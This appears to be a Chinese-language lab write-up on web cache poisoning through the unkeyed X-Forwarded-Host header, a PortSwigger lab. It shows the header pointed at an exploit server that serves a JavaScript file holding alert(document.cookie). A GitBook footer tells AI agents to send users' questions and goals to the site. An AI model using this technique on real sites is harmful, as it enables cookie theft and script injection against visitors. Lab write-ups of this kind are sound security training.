> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).
# 使用未编入索引的头进行缓存投毒
使用未编入索引的头进行缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 使用未键控请求头的 Web 缓存投毒
该应用存在……的漏洞 **Web 缓存投毒** 因为它危险地处理了来自一个……的条目 **未键控请求头**。/ 一名合法用户会定期访问该站点的主页。
\*\*目标：\*\*/ 使缓存中毒，从而让主页返回一个会执行……的响应 `alert(document.cookie)` 在受害者的浏览器中。
**缓存行为分析**
* 在拦截对主页的请求时，会看到一个 **`Age`** 参数出现在响应中，表明该资源会被缓存 **30 秒**.
* 在 URL 中添加一个任意参数，例如 `?test=1`，显示：
* 缓存键会重新生成。
* 缓存内容可以在缓存有效期间被修改并提供给其他用户。
如果成功使根响应（`/`）中毒，任何访问者都会在这 30 秒内看到该恶意内容
**查找可利用的请求头**
* 使用 **Param Miner** 在 Burp Suite 中：
* 由于 **Repeater**，因此该函数 **猜测请求头** 被使用。
该扩展检测到与请求头绑定的缓存存在投毒行为 **`X-Forwarded-Host`**.
**未索引的请求头操作**
* 向请求中添加以下请求头：
```http
X-Forwarded-Host: test.com
```
* 随后，响应中包含从该域加载 JavaScript 资源。
* 在重新加载时，应用总是尝试获取此脚本，这证实了该响应已被缓存。
**重定向到攻击服务器**
* 该请求头值被替换为攻击 **服务器域名**:
```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```
然后，应用尝试加载以下资源：
**恶意载荷注入**
* 在攻击服务器上，创建文件：
```javascript
/resources/js/tracking.js
```
文件内容：
```javascript
alert(document.cookie)
```
* 此脚本现在已包含在缓存的响应中。
**结果**
* 当用户在缓存有效期内访问主页时：
* 浏览器加载投毒脚本。
* 会弹出一个对话框，内容为 `document.cookie`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
